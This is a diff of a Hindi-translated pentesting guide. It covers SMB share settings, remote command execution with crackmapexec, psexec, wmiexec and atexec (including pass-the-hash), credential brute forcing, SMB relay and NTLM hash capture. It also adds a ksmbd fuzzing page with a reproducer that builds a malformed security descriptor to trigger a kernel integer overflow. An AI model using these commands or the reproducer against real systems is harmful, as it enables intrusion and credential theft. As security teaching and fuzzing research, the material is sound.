| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची बनाने की अनुमति है? |
|
||||
| `read only = no` | फ़ाइलों के निर्माण और संशोधन को प्रतिबंधित करें? |
|
||||
| `writable = yes` | उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति दें? |
|
||||
| `guest ok = yes` | बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति दें? |
|
||||
| `enable privileges = yes` | विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान करें? |
|
||||
| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
|
||||
| `directory mask = 0777` | नए बनाए गए निर्देशिकाओं को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
|
||||
| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
|
||||
| `magic script = script.sh` | स्क्रिप्ट बंद होने पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
|
||||
| `magic output = script.out` | जादुई स्क्रिप्ट का आउटपुट कहाँ संग्रहीत किया जाना चाहिए? |
|
||||
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की लिस्टिंग की अनुमति है? |
|
||||
| `read only = no` | क्या फाइलों के निर्माण और संशोधन को प्रतिबंधित करता है? |
|
||||
| `writable = yes` | क्या उपयोगकर्ताओं को फाइलें बनाने और संशोधित करने की अनुमति देता है? |
|
||||
| `guest ok = yes` | क्या पासवर्ड का उपयोग किए बिना सेवा से कनेक्ट करने की अनुमति देता है? |
|
||||
| `enable privileges = yes` | क्या किसी विशेष SID को असाइन किए गए अधिकारों का सम्मान करता है? |
|
||||
| `create mask = 0777` | नए बनाए गए फाइलों को किन अनुमतियों को सौंपा जाना चाहिए? |
|
||||
| `directory mask = 0777` | नए बनाए गए डायरेक्टरीज़ को किन अनुमतियों को सौंपा जाना चाहिए? |
|
||||
| `logon script = script.sh` | किस स्क्रिप्ट को उपयोगकर्ता के लॉगिन पर चलाया जाना चाहिए? |
|
||||
| `magic script = script.sh` | जब स्क्रिप्ट बंद हो जाती है तो कौन सी स्क्रिप्ट चलानी चाहिए? |
|
||||
| `magic output = script.out` | magic script का आउटपुट कहाँ स्टोर किया जाना चाहिए? |
|
||||
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
The command `smbstatus` gives information about the **सर्वर** and about **कौन जुड़ा हुआ है**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
आप **प्रमाणीकृत** कर सकते हैं **Kerberos** का उपयोग करके टूल्स **smbclient** और **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **कमांड निष्पादित करें**
|
||||
## **Execute Commands**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** का **दुरुपयोग** करके कमांड निष्पादित कर सकता है, जिसमें **wmiexec** **डिफ़ॉल्ट** विधि है। आप पैरामीटर `--exec-method` के साथ अपनी पसंद की विकल्प को इंगित कर सकते हैं:
|
||||
crackmapexec कमांड चला सकता है **abusing** किसी भी **mmcexec, smbexec, atexec, wmiexec** का उपयोग करके, जहाँ **wmiexec** **default** मेथड है। आप `--exec-method` पैरामीटर के साथ यह निर्दिष्ट कर सकते हैं कि आप किस विकल्प का उपयोग करना पसंद करते हैं:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -379,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** **एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-)।\
|
||||
**अधिक जानकारी** के लिए [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)।\
|
||||
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
|
||||
दोनों विकल्प पीड़ित मशीन पर _\pipe\svcctl_ (SMB के माध्यम से) का उपयोग करके **एक नई सर्विस बनाएंगे** और उसे किसी चीज़ को **execute** करने के लिए उपयोग करेंगे (**psexec** एक executable फ़ाइल ADMIN$ share पर **upload** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इंगित करेगा और arguments में payload रखेगा --**file-less technique-**-).\
|
||||
**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali** में यह स्थित है /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -389,19 +390,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**पैरामीटर**`-k` का उपयोग करके आप **केरबेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं, बजाय **NTLM** के।
|
||||
**parameter**`-k` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ authenticate कर सकते हैं
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
बिना डिस्क को छुए या नई सेवा चलाए, **पोर्ट 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
|
||||
**काली** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
|
||||
DCOM के माध्यम से **port 135.** का उपयोग करते हुए डिस्क को छुए बिना या कोई नया service चलाए बिना गुप्त रूप से एक command shell चलाएँ।\
|
||||
**kali** में यह स्थित है /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
**पैरामीटर**`-k` का उपयोग करके आप **केर्बेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं, बजाय **NTLM** के।
|
||||
आप **पैरामीटर** `-k` का उपयोग करके **kerberos** के साथ प्रमाणीकृत कर सकते हैं, **NTLM** के बजाय।
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -410,40 +411,46 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करते हुए)।\
|
||||
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
|
||||
Task Scheduler के माध्यम से कमांड निष्पादित करें (_\pipe\atsvc_ का उपयोग करके, SMB के माध्यम से).\
|
||||
यह **kali** में /usr/share/doc/python3-impacket/examples/ पर स्थित है
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket reference
|
||||
## Impacket संदर्भ
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **ब्रूटफोर्स उपयोगकर्ता क्रेडेंशियल्स**
|
||||
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
|
||||
|
||||
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
|
||||
**यह अनुशंसित नहीं है; यदि आप अधिकतम अनुमत प्रयासों से अधिक करते हैं तो खाता ब्लॉक हो सकता है।**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
यह हमला Responder toolkit का उपयोग करके **SMB प्रमाणीकरण सत्रों** को एक आंतरिक नेटवर्क पर **कैप्चर** करता है, और उन्हें **लक्ष्य मशीन** पर **रिले** करता है। यदि प्रमाणीकरण **सत्र सफल** होता है, तो यह स्वचालित रूप से आपको एक **सिस्टम** **शेल** में ले जाएगा।\
|
||||
[**इस हमले के बारे में अधिक जानकारी यहाँ।**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
यह हमला Responder toolkit का उपयोग करके आंतरिक नेटवर्क पर **capture SMB authentication sessions** करने और उन्हें **relays** करके एक **target machine** पर भेजने के लिए किया जाता है। यदि authentication **session is successful** होता है, तो यह अपने आप आपको एक **system** **shell** में डाल देगा।\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows पुस्तकालय URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करता है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows लाइब्रेरी URLMon.dll स्वतः ही host को authenticate करने की कोशिश करती है जब कोई पेज SMB के माध्यम से किसी content तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
यह कार्यों के साथ होता है:
|
||||
This happens with the functions:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
जो कुछ ब्राउज़रों और उपकरणों (जैसे Skype) द्वारा उपयोग किए जाते हैं।
|
||||
Which are used by some browsers and tools (like Skype)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -453,11 +460,11 @@ Windows पुस्तकालय URLMon.dll स्वचालित रू
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
SMB Trapping के समान, लक्ष्य प्रणाली पर दुर्भावनापूर्ण फ़ाइलें लगाने (SMB के माध्यम से, उदाहरण के लिए) एक SMB प्रमाणीकरण प्रयास को उत्तेजित कर सकती हैं, जिससे NetNTLMv2 हैश को एक उपकरण जैसे Responder के साथ इंटरसेप्ट किया जा सकता है। हैश को फिर ऑफ़लाइन क्रैक किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
|
||||
SMB Trapping के समान, target system पर malicious files प्लांट करने से (उदाहरण के लिए SMB के जरिए) एक SMB authentication attempt हो सकता है, जिससे NetNTLMv2 hash को Responder जैसे tool के साथ intercept किया जा सकता है। फिर उस hash को offline crack किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks स्वचालित कमांड
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -0,0 +1,220 @@
|
||||
# ksmbd आक्रमण सतह & SMB2/SMB3 प्रोटोकॉल fuzzing (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## अवलोकन
|
||||
यह पृष्ठ syzkaller का उपयोग करके Linux in-kernel SMB server (ksmbd) को टेस्ट और fuzz करने की व्यावहारिक तकनीकों का सार प्रस्तुत करता है। यह configuration के माध्यम से प्रोटोकॉल आक्रमण सतह को बढ़ाने, stateful harness बनाने जो SMB2 operations को chain कर सके, grammar-valid PDUs जनरेट करने, weakly-covered code paths में mutations को bias करने, और syzkaller की सुविधाओं जैसे focus_areas और ANYBLOB का उपयोग करने पर केंद्रित है। जबकि मौलिक रिसर्च में specific CVEs सूचीबद्ध हैं, यहाँ हम पुन: उपयोग योग्य methodology और concrete snippets पर जोर देते हैं जिन्हें आप अपने setups के लिए अनुकूलित कर सकते हैं।
|
||||
|
||||
लक्षित दायरा: SMB2/SMB3 over TCP. Kerberos और RDMA जानबूझकर दायरे से बाहर रखे गए हैं ताकि harness सरल रहे।
|
||||
|
||||
---
|
||||
|
||||
## Configuration के माध्यम से ksmbd आक्रमण सतह बढ़ाएँ
|
||||
डिफ़ॉल्ट रूप से, एक न्यूनतम ksmbd सेटअप सर्वर के बड़े हिस्सों को अटेस्टेड छोड़ देता है। अतिरिक्त parsers/handlers के माध्यम से सर्वर को चलाने और गहरे कोड पाथ्स तक पहुँचने के लिए निम्नलिखित सुविधाएँ सक्षम करें:
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
- Server multi-channel
|
||||
- SMB2 leases
|
||||
- Per-share-level
|
||||
- Oplocks (on by default)
|
||||
- VFS objects
|
||||
|
||||
इनको सक्षम करने से निम्नलिखित मॉड्यूल्स में निष्पादन बढ़ता है:
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
- smbacl.c (ACL parsing/enforcement)
|
||||
- vfs.c (VFS ops)
|
||||
- vfs_cache.c (lookup cache)
|
||||
|
||||
नोट्स
|
||||
- सटीक विकल्प आपके distro’s ksmbd userspace (ksmbd-tools) पर निर्भर करते हैं। /etc/ksmbd/ksmbd.conf और per-share sections की समीक्षा करें ताकि durable handles, leases, oplocks और VFS objects सक्षम किए जा सकें।
|
||||
- Multi-channel और durable handles state machines और lifetimes को बदलते हैं, और concurrency के दौरान अक्सर UAF/refcount/OOB बग्स को उजागर करते हैं।
|
||||
|
||||
---
|
||||
|
||||
## Fuzzing के लिए Authentication और Rate-Limiting समायोजन
|
||||
SMB3 को एक valid session चाहिए। harnesses में Kerberos लागू करने से जटिलता बढ़ती है, इसलिए fuzzing के लिए NTLM/guest पसंद करें:
|
||||
|
||||
- Allow guest access और map to guest = bad user सेट करें ताकि unknown users GUEST पर fallback कर जाएँ।
|
||||
- NTLMv2 को स्वीकार करें (अगर disabled हो तो policy patch करें)। इससे handshake सरल रहता है जबकि SMB3 code paths का परीक्षण होता है।
|
||||
- experimentation के दौरान strict credit checks को patch out करें (post-hardening के बाद CVE-2024-50285 ने simultaneous-op crediting को कड़ा किया)। अन्यथा, rate-limits fuzzed sequences को बहुत जल्दी reject कर सकते हैं।
|
||||
- max connections बढ़ाएँ (उदा., 65536) ताकि high-throughput fuzzing के दौरान प्रारंभिक rejections से बचा जा सके।
|
||||
|
||||
सावधानी: ये ढील केवल fuzzing को सुविधाजनक बनाने के लिए हैं। इन सेटिंग्स के साथ production में deploy न करें।
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness: Resources निकालना और Requests को Chain करना
|
||||
SMB stateful है: कई requests उन identifiers पर निर्भर करते हैं जो prior responses से लौटते हैं (SessionId, TreeID, FileID pairs)। आपका harness responses को parse करे और उसी प्रोग्राम के भीतर IDs को reuse करे ताकि गहरे handlers तक पहुँचा जा सके (उदा., smb2_create → smb2_ioctl → smb2_close)।
|
||||
|
||||
एक उदाहरण snippet जो response buffer को process करता है (+4B NetBIOS PDU length छोड़ते हुए) और IDs को cache करता है:
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
|
||||
switch (cmd_rsp) {
|
||||
case SMB2_TREE_CONNECT:
|
||||
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
|
||||
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_SESS_SETUP:
|
||||
// first session setup response carries session_id
|
||||
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
|
||||
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_CREATE:
|
||||
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
|
||||
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
|
||||
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
```
|
||||
टिप्स
|
||||
- एक ही fuzzer process रखें जो authentication/state साझा करे: ksmbd की global/session tables के साथ बेहतर स्थिरता और कवरेज मिलता है। syzkaller फिर भी ops को async के रूप में मार्क करके concurrency इंजेक्ट करता है, और internally rerun करता है।
|
||||
- Syzkaller के experimental reset_acc_state global state को reset कर सकता है लेकिन यह भारी slowdown ला सकता है। स्थिरता को प्राथमिकता दें और fuzzing पर ध्यान केंद्रित करें।
|
||||
|
||||
---
|
||||
|
||||
## व्याकरण-चालित SMB2 Generation (Valid PDUs)
|
||||
Microsoft Open Specifications में दिए गए SMB2 संरचनाओं को एक fuzzer grammar में अनुवादित करें ताकि आपका generator संरचनात्मक रूप से valid PDUs बनाए, जो व्यवस्थित ढंग से dispatchers और IOCTL handlers तक पहुँचें।
|
||||
|
||||
Example (SMB2 IOCTL request):
|
||||
```
|
||||
smb2_ioctl_req {
|
||||
Header_Prefix SMB2Header_Prefix
|
||||
Command const[0xb, int16]
|
||||
Header_Suffix SMB2Header_Suffix
|
||||
StructureSize const[57, int16]
|
||||
Reserved const[0, int16]
|
||||
CtlCode union_control_codes
|
||||
PersistentFileId const[0x4, int64]
|
||||
VolatileFileId const[0x0, int64]
|
||||
InputOffset offsetof[Input, int32]
|
||||
InputCount bytesize[Input, int32]
|
||||
MaxInputResponse const[65536, int32]
|
||||
OutputOffset offsetof[Output, int32]
|
||||
OutputCount len[Output, int32]
|
||||
MaxOutputResponse const[65536, int32]
|
||||
Flags int32[0:1]
|
||||
Reserved2 const[0, int32]
|
||||
Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
यह तरीका सही structure sizes/offsets को लागू करने के लिए मजबूर करता है और blind mutation की तुलना में कवरेज को नाटकीय रूप से सुधारता है।
|
||||
|
||||
---
|
||||
|
||||
## Directed Fuzzing With focus_areas
|
||||
वर्तमान में जिन विशिष्ट functions/files का कवरेज कमजोर है, उन्हें अधिक वज़न देने के लिए syzkaller’s के experimental focus_areas का उपयोग करें। उदाहरण JSON:
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
|
||||
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
|
||||
{"weight": 1.0}
|
||||
]
|
||||
}
|
||||
```
|
||||
यह वैध ACLs बनाने में मदद करता है जो smbacl.c में arithmetic/overflow paths को ट्रिगर करते हैं।
|
||||
उदाहरण के लिए, एक दुर्भावनापूर्ण Security Descriptor जिसमें अत्यधिक बड़ा dacloffset है, वह एक integer-overflow को पुनरुत्पन्न कर देता है।
|
||||
|
||||
रिप्रोड्यूसर बिल्डर (minimal Python):
|
||||
```python
|
||||
def build_sd():
|
||||
import struct
|
||||
sd = bytearray(0x14)
|
||||
sd[0x00] = 0x00; sd[0x01] = 0x00
|
||||
struct.pack_into('<H', sd, 0x02, 0x0001)
|
||||
struct.pack_into('<I', sd, 0x04, 0x78)
|
||||
struct.pack_into('<I', sd, 0x08, 0x00)
|
||||
struct.pack_into('<I', sd, 0x0C, 0x10000)
|
||||
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
|
||||
while len(sd) < 0x78:
|
||||
sd += b'A'
|
||||
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
|
||||
sd += b"\xCC" * 64
|
||||
return bytes(sd)
|
||||
```
|
||||
---
|
||||
|
||||
## ANYBLOB के साथ कवरेज प्लेटो तोड़ना
|
||||
syzkaller’s anyTypes (ANYBLOB/ANYRES) जटिल संरचनाओं को ऐसे ब्लॉब्स में संकुचित करने की अनुमति देते हैं, जो सामान्यतः परिवर्तित होते हैं। public SMB pcaps से नया corpus तैयार करें और payloads को syzkaller programs में बदलें जो आपके pseudo-syscall (उदा., syz_ksmbd_send_req) को कॉल करते हों:
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
```
|
||||
|
||||
```python
|
||||
import json, os
|
||||
os.makedirs("corpus", exist_ok=True)
|
||||
|
||||
with open("packets.json") as f:
|
||||
data = json.load(f)
|
||||
# adjust indexing to your tshark JSON structure
|
||||
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
|
||||
|
||||
for i, pkt in enumerate(packets):
|
||||
pdu = pkt[0]
|
||||
pdu_size = len(pdu) // 2 # hex string length → bytes
|
||||
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
|
||||
f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
यह अन्वेषण को तुरंत शुरू करता है और (उदाहरण के लिए ksmbd_sessions_deregister में) तुरंत UAFs को ट्रिगर कर सकता है, साथ ही कवरेज को कुछ प्रतिशत बढ़ा देता है।
|
||||
|
||||
---
|
||||
|
||||
## Sanitizers: KASAN के परे
|
||||
- KASAN heap बग्स (UAF/OOB) के लिए प्राथमिक डिटेक्टर बना रहता है।
|
||||
- KCSAN अक्सर इस टार्गेट में false positives या कम-गंभीरता वाले data races देता है।
|
||||
- UBSAN/KUBSAN declared-bounds गलतियों को पकड़ सकता है जिन्हें KASAN array-index semantics के कारण मिस कर देता है। उदाहरण:
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
|
||||
|
||||
---
|
||||
|
||||
## Throughput and Parallelism Notes
|
||||
- एक अकेला fuzzer process (shared auth/state) आमतौर पर ksmbd के लिए काफी अधिक स्थिर होता है और फिर भी races/UAFs को उजागर करता है, धन्यवाद syzkaller’s internal async executor।
|
||||
- कई VMs के साथ, आप कुल मिलाकर अभी भी सैकड़ों SMB commands/second मार सकते हैं। Function-level coverage लगभग ~60% fs/smb/server और ~70% smb2pdu.c तक प्राप्त किया जा सकता है, हालांकि state-transition coverage ऐसे मेट्रिक्स से कम दिखती है।
|
||||
|
||||
---
|
||||
|
||||
## Practical Checklist
|
||||
- ksmbd में durable handles, leases, multi-channel, oplocks, और VFS objects सक्षम करें।
|
||||
- guest और map-to-guest की अनुमति दें; NTLMv2 स्वीकार करें। fuzzer स्थिरता के लिए credit limits को हटाएँ और max connections बढ़ाएँ।
|
||||
- एक stateful harness बनाइए जो SessionId/TreeID/FileIDs को cache करे और create → ioctl → close को chain करे।
|
||||
- स्ट्रक्चरल वैधता बनाए रखने के लिए SMB2 PDUs के लिए grammar का उपयोग करें।
|
||||
- कम आवृत्ति से कवर होने वाले फ़ंक्शन्स पर वजन देने के लिए focus_areas का उपयोग करें (उदा., smbacl.c paths जैसे smb_check_perm_dacl)।
|
||||
- plateaus तोड़ने के लिए असली pcaps से ANYBLOB से seed करें; reuse के लिए seeds को syz-db के साथ pack करें।
|
||||
- KASAN + UBSAN के साथ चलाएँ; UBSAN declared-bounds रिपोर्ट्स को सावधानी से triage करें।
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
|
||||
- syzkaller: https://github.com/google/syzkaller
|
||||
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
|
||||
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
|
||||
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
|
||||
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
|
||||
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- पृष्ठभूमि पढ़ना: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user